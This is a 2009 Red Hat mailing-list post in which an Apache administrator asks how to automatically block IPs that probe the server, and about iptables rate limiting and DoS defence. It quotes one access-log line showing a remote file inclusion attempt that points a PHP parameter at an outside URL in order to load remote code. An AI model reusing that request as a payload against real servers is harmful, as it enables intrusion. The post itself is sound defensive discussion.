Hi all, I´m having a problem with an Apache web server. I get a lot of access ot this kind: x.x.x.x - - [08/Jul/2009:09:42:20 +0200] "GET //includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://aboutav.com//id1.txt??? HTTP/1.1" 404 1015 "-" "Mozilla/5.0" where x.x.x.x is the ip of the client, I suposse this ip is trying to find a security hole in my system, so what I do manually is this: iptables -A INPUT -s x.x.x.x -p tcp -m tcp --dport 80 -j DROP I want to do this automatically. I´m thinking to use logwatch but I´m not sure how to do it. (I´m testing but for the moment I haven´t found the solution) anybody knows another way to do what I want? By the way, I´m interesting to limit the connections to my webserver using iptables with limit module and busrt argument. What do you think about it? is a good solution or I´m on the wrong way? Do you know how to prevent DOS attacks? Thanks in advance ESG -- redhat-list mailing list unsubscribe mailto:redhat-list-request@xxxxxxxxxx?subjecthttps://www.redhat.com/mailman/listinfo/redhat-list
